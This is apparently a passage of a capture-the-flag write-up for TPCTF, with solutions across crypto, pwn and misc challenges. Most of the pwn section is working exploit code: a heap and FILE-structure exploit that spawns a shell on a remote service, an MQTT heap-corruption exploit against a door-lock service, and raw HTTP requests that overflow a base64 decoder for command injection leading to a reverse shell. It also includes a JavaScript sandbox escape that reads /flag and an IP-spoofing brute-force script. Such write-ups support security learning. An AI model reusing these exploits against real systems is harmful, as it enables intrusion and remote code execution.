29 b'TPCTF{Ez_MTI9937_pr3d1cTi0n}\n'
58 b'TPCTF{Ez_MTI9937_pr3d1cTi0n}\nTPCTF{Ez_MTI9937_pr3d1cTi0n}\n'
87 b'TPCTF{Ez_MTI9937_pr3d1cTi0n}\nTPCTF{Ez_MTI9937_pr3d1cTi0n}\nTPCTF{Ez_MTI9937_pr3d1cTi0n}\n'
116 b'TPCTF{Ez_MTI9937_pr3d1cTi0n}\nTPCTF{Ez_MTI9937_pr3d1cTi0n}\nTPCTF{Ez_MTI9937_pr3d1cTi0n}\nTPCTF{Ez_MTI9937_pr3d1cTi0n}\n'
145 b'TPCTF{Ez_MTI9937_pr3d1cTi0n}\nTPCTF{Ez_MTI9937_pr3d1cTi0n}\nTPCTF{Ez_MTI9937_pr3d1cTi0n}\nTPCTF{Ez_MTI9937_pr3d1cTi0n}\nTPCTF{Ez_MTI9937_pr3d1cTi0n}\n'
174 b'TPCTF{Ez_MTI9937_pr3d1cTi0n}\nTPCTF{Ez_MTI9937_pr3d1cTi0n}\nTPCTF{Ez_MTI9937_pr3d1cTi0n}\nTPCTF{Ez_MTI9937_pr3d1cTi0n}\nTPCTF{Ez_MTI9937_pr3d1cTi0n}\nTPCTF{Ez_MTI9937_pr3d1cTi0n}\n'
```
### nanonymous msg
1. Observe in CyberChef

2. Group every 4 bytes and observe there's some pattern

3. Substitute and try on quip

4. Found article https://ptr-yudai.hatenablog.com/entry/2022/06/02/223338 and guessed substitution of s->5 and o->0

## Pwn
### EzDB
```python=
from pwn import *
import subprocess
sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)
def create(idx):
sla(b'>>> ', b'1')
sla(b':', str(idx).encode())
def remove(idx):
sla(b'>>> ', b'2')
sla(b':', str(idx).encode())
def insert(idx, size, data):
sla(b'>>> ', b'3')
sla(b':', str(idx).encode())
sla(b':', str(size).encode())
sa(b':', data)
p.recvuntil(b'id: ')
return int(p.recvline()[:-1])
def get_record(idx, sid):
sla(b'>>> ', b'4')
sla(b':', str(idx).encode())
sla(b':', str(sid).encode())
def edit_record(idx, sid, size, data):
sla(b'>>> ', b'5')
sla(b':', str(idx).encode())
sla(b':', str(sid).encode())
sla(b':', str(size).encode())
sla(b':', data)
def bye():
sla(b'>>> ', b'6')
gdb_commands = [
'b *$rebase(0x000000000001E1C)',
'c'
]
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
binary = './db_patched'
# p = process(binary)
p = remote('223.112.5.141', 52559)
libc = ELF('./libc.so.6')
for i in range(0x10):
create(i)
for i in range(0x10, -1, -1):
remove(i)
create(0)
insert(0, 0x500, b'A')
sid = insert(0, 0x10, b'A'*8)
get_record(0, sid)
p.recvuntil(b'A'*8)
libc.address = lb = u64(p.recvline()[:-1]) - 0x21ace0
sid = insert(0, 0x20, b'A'*8)
get_record(0, sid)
p.recvuntil(b'A'*8)
p.recv(8)
hb = u64(p.recv(8))
print(hex(hb))
print(hex(lb))
create(1)
create(2)
insert(1, 0x3fd, b'A')
stdout = lb + 0x21b780
payload = b'A'*(0x400-3)
payload += p64(0)
payload += p64(0x31)
payload += p64(stdout-4)*2
payload += p64(stdout+0x200)
payload += p64(stdout-4)
payload += p64(0)
payload += p64(0x411)
edit_record(1, 0, 0x500, payload)
# gdb.attach(p, gdbscript='\n'.join(gdb_commands))
payload = b''
payload += b' sh\x00'.ljust(8,b'\x00')
payload += p64(0) * 1
payload += p64(libc.symbols['system'])
payload += p64(0) * 2
payload += p64(1)
payload += p64(0) * 7
payload += p64(libc.symbols['system'])
payload += p64(0) * 3
payload += p64(libc.symbols['_IO_stdfile_1_lock'])
payload += p64(0) * 2
payload += p64(libc.symbols['_IO_2_1_stdout_'] + 0xe0)
payload += p64(0) * 6
payload += p64(libc.symbols['_IO_wfile_jumps'])
payload += p64(0) * 28
payload += p64(libc.symbols['_IO_2_1_stdout_'])
sla(b'>>> ', b'3')
sla(b':', str(2).encode())
sla(b':', str(0x200).encode())
sa(b':', payload)
p.interactive()
```
### smart door lock
```python=
from pwn import *
import paho.mqtt.client as mqtt
import time
import ssl
import json
LOCAL_FINGER = "[1373378270,39159,3669886736,2494,2,515555555,2945791524,9283885,155241,259,30956741,169525,4196208728,2948318370,231700,2380113,8528,1416626613,3520135119,292]"
SESSION_ID = "0"
AUTH_TOKEN = "A" * 16
def on_connect(client, userdata, message, rc):
print("on_connect")
FINGER = [0] * 20
ANSWER_FINGER = [0] * 20
SIMILARITY = 0
CLEARED = False
# def on_publish(client, userdata, mid):
def on_logger_message(client, userdata, message):
print(message.payload)
if "finger similarity:%" in message.payload.decode():
global SIMILARITY
SIMILARITY = float(message.payload.decode().split("finger similarity:%")[1][:-1])
client.publish("logger", "clear")
time.sleep(1)
def on_message(client, userdata, message):
print(message.payload)
if b"session_id: " in message.payload:
SESSION_ID = message.payload.decode().split("session_id: ")[1][:-1] # Convert bytes to str
print(SESSION_ID)
client.subscribe(SESSION_ID)
# Exploit
add_finger(SESSION_ID, "[1094861638,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,3519000,3519000,3519000,3519000]")
add_finger(SESSION_ID, "[1094861638,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,3519000,3519000,3519000,3519000]")
add_finger(SESSION_ID, "[1094861638,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,1094861637,3519000,3519000,3519000,3519000]")
remove_finger(SESSION_ID, 2)
remove_finger(SESSION_ID, 3)
remove_finger(SESSION_ID, 4)
add_finger(SESSION_ID, "[]")
edit_finger(SESSION_ID, 5, str([(0x39d8e0) ^ (0x383be8 >> 12)] *4 + [0] *16).replace(" ", "")) # Overwrite tcache->fd with 0x35b208 (ctx + 0x20 )
# edit_finger(SESSION_ID, 5, str([0x41424347] *4 + [0] *16).replace(" ", "")) # Overwrite tcache->fd with 0x35b208 (ctx + 0x20 )
a = str([0x616c662f, 0x67, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141] + [0x00399b20, 0x00399c20, 0x41414141, 0x271, 0x5, 0x3, 0x4, 0x0, 0x2, 0x0, 0x35b4b8, 0]).replace(" ", "")
b = str([0x616c663f, 0x67, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141] + [0x00399b20, 0x00399c20, 0x41414141, 0x271, 0x5, 0x3, 0x4, 0x0, 0x2, 0x0, 0x35b4b8, 0]).replace(" ", "")
add_finger(SESSION_ID, a)
add_finger(SESSION_ID, b)
lol = ""
# lol = []
for i in range(20):
lol += chr(0x41 + i)*4
# lol.append(0x41414141 + i)
# add_finger_3(SESSION_ID, lol)
add_finger_2(SESSION_ID, lol + p32(0x395938).decode())
edit_finger(SESSION_ID, 0x0012003c, str([1634493999, 103] *2 + [0x7472616d,0x636f6c5f,0x6f6c2e6b,0x00000067,0x00399c08,0x0039a240,0x00000000,0x00000271,0x00000005,0x00000003,0x00000004,0x00000000,0x00000002,0x00000000,0x0035b4b8,0x00000000]).replace(" ", "")) # Overwrite tcache->fd with 0x35b208 (ctx + 0x20 )
client.publish("logger", "download")
def find_finger(idx, low, high):
global SIMILARITY
global FINGER
while low < high:
mid = (low+high) // 2
left = (low + mid) //2
FINGER[idx] = left
client.publish(AUTH_TOKEN, str(FINGER).replace(" ", ""))
client.publish("logger", "download")
while SIMILARITY == 0 and left != 0:
time.sleep(1)
left_similarity = SIMILARITY
SIMILARITY = 0
if left_similarity == 5.0:
return left
right = (high + mid) //2
FINGER[idx] = right
client.publish(AUTH_TOKEN, str(FINGER).replace(" ", ""))
client.publish("logger", "download")
while SIMILARITY == 0:
time.sleep(1)
right_similarity = SIMILARITY
SIMILARITY = 0
if right_similarity == 5.0:
return right
if left_similarity >= right_similarity:
high = mid
else:
low = mid
return low
def set_auth_token(token):
client.publish("auth_token", token)
def lock_door(session_id):
json_data = {
"session": session_id,
"request": "lock_door",
"req_args": [],
}
client.publish("manager", json.dumps(json_data)) # Convert json to string
def unlock_door(session_id):
json_data = {
"session": session_id,
"request": "unlock_door",
"req_args": [],
}
client.publish("manager", json.dumps(json_data)) # Convert json to string
def add_finger(session_id, finger):
sleep(1)
json_data = {
"session": session_id,
"request": "add_finger",
"req_args": [finger],
}
client.publish("manager", json.dumps(json_data)) # Convert json to string
def add_finger_2(session_id, finger):
sleep(1)
json_data = {
"session": session_id,
"request": "add_finger",
"req_args": finger,
}
client.publish("manager", json.dumps(json_data)) # Convert json to string
def add_finger_3(session_id, finger):
sleep(1)
client.publish(p16(0xbe88) + p32(0xbe882130), finger) # Convert json to string
def edit_finger(session_id, idx, finger):
sleep(1)
json_data = {
"session": session_id,
"request": "edit_finger",
"req_args": [str(idx), finger],
}
client.publish("manager", json.dumps(json_data)) # Convert json to string
def remove_finger(session_id, idx):
sleep(1)
json_data = {
"session": session_id,
"request": "remove_finger",
"req_args": [str(idx)],
}
client.publish("manager", json.dumps(json_data)) # Convert json to string
#def download_file(session_id, idx):
# client.publish("logger", "download")# Convert json to string
client = mqtt.Client()
client.tls_set(ca_certs="./ca.crt",
tls_version=ssl.PROTOCOL_TLS)
client.tls_insecure_set(True)
client.on_connect = on_connect
# client.on_publish = on_publish
client.on_message = on_message
# client.connect("localhost", 8883, 10)
client.connect("61.147.171.105", 50553, 60)
client.loop_start()
set_auth_token(AUTH_TOKEN)
sleep(1)
client.subscribe("re_" + AUTH_TOKEN)
sleep(1)
client.subscribe("logfile")
sleep(1)
client.message_callback_add("logfile", on_logger_message)
sleep(1)
client.publish("logger", "clear")
time.sleep(1)
time.sleep(1)
client.publish("logger", "download")
sleep(1)
# for i in range(20):
# FINGER = [0] * 20
# ANSWER_FINGER[i] = find_finger(i, 0, 0xffffffff)
# print(ANSWER_FINGER)
'''
[31, 373307, 1073741823, 3221225471, 2097151, 2933, 3462545, 5692838, 3221225471, 3221225471, 33554431, 36167, 1274411, 33554431, 3221225471, 33554431, 3221225471, 5, 3221225471, 3221225471]
'''
REMOTE_FINGER = "[31, 373307, 1073741823, 3221225471, 2097151, 2933, 3462545, 5692838, 3221225471, 3221225471, 33554431, 36167, 1274411, 33554431, 3221225471, 33554431, 3221225471, 5, 3221225471, 3221225471]".replace(" ", "")
client.publish(AUTH_TOKEN, REMOTE_FINGER) # Login
time.sleep(20)
input("WAIT")
client.loop_stop()
client.disconnect()
```
### where is my rop
First send
```
POST /cgi-bin/login.cgi?login HTTP/1.1
Host: 223.112.5.141:61603
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Authorization: Basic IDIwOS45Ny4xNjAuMTk1OiA4MDgwIC1GIC9yb290Ly5hY21lLnNoL2FjbWUuc2ggLVIgLS1mb3JjZWZsdXNoOiA4MDgwIC1GIC9yb290Ly5hY21lLnNoL2FjbWUuc2ggLVIgLS1mb3JjZWZsdXNoOiA4MDgwIC1GIC9yb290Ly5hY21lLnNoL2FjbWUuc2ggLVIgLS1mb3JjZWZsdXNoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAA
Content-Length: 27
Origin: http://61.147.171.106:59702
DNT: 1
Sec-GPC: 1
Connection: keep-alive
id=655534562b393344396e6b3d
```
Then
```
POST /cgi-bin/login.cgi?login HTTP/1.1
Host: 223.112.5.141:61603
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Authorization: Basic IC4uLy4uL2Fub3RoZXJfbmFtZV9vZl9mbGFnXzk0NjczNTIxMDE6IC4uLy4uL3Zhci93d3cvaHRtbC9mbGFnLmh0bWw6IC4uLy4uL3Zhci93d3cvaHRtbC9mbGFnLmh0bWw6IC4uLy4uL3Zhci93d3cvaHRtbC9mbGFnLmh0bWwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAA
Content-Length: 27
Origin: http://61.147.171.106:59702
DNT: 1
Sec-GPC: 1
Connection: keep-alive
id=655534562b393344396e6b3d
```
Buffer overflow in base64decode to call any command in basement. Command injection in basement leads to arb write, we can write to acme.sh to get revshell.
## Misc
### raenil
Just inspect GIF frames and recover QR code manually
### jsc
```javascript=
function v(){}
v.g=JSON.parse("{}").__lookupGetter__;
v.a = Buffer.apply;
v.tmp=JSON.parse("[]")
v.tmp.push(Buffer);
v.tmp.push(JSON.parse('["__pr\x6fto__"]'));
v.p = v.a.apply(v.g, v.tmp);
printf(v.p.call(v.a)["cons"+"tructor"]("return proces"+"s")().getBuiltinModule("fs").readFileSync("/flag","utf8"))
```
### nanonymous spam
Brute force + guessing
```python=
import requests
import concurrent.futures
def to_ip(word):
return f"{ord(word[0])}.{ord(word[1])}.{ord(word[2])}.{ord(word[3])}"
chrs = "abcdefghijklmnopqrstuvwxyz_"
users = [
"VicCouNeaGas", # TPCT
"DemHohBojWod", # F{fi
"PowFitGuoRut", # nall
"VetTasBesDae", # y_th
"FasLiuTasJoi", # e_cr
"DevRecWoeDia", # imin
"BogHubSorHad", # al5_
"BagLibYupSix", # wh0_
"MowPetBecZan", # publ
"LonRecRipLuk", # i5he
"KarYapTajGot", # d_th
"TiaLiuFayDic", # e5e_
"VizDivCitBot", # 5pam
"LeaLatReaSac", # _wer
"FasLiuVicToc", # e_ar
"KunSadMerMun", # re5t
"LemLiuGuoReq" # ed}
]
def check_ip(i):
for j in chrs[::-1]:
for k in chrs:
for l in chrs:
ip = to_ip(i + j + k + l)
response = requests.get("http://1.95.184.40:8520/", headers={"X-Real-IP": ip}, timeout=2)
user = response.text.split("\n")[203].split("User: ")[1].split("<")[0]
if user in users:
print(user, i + j + k + l)
if __name__ == "__main__":
with concurrent.futures.ThreadPoolExecutor(max_workers=32) as executor:
executor.map(check_ip, chrs)
```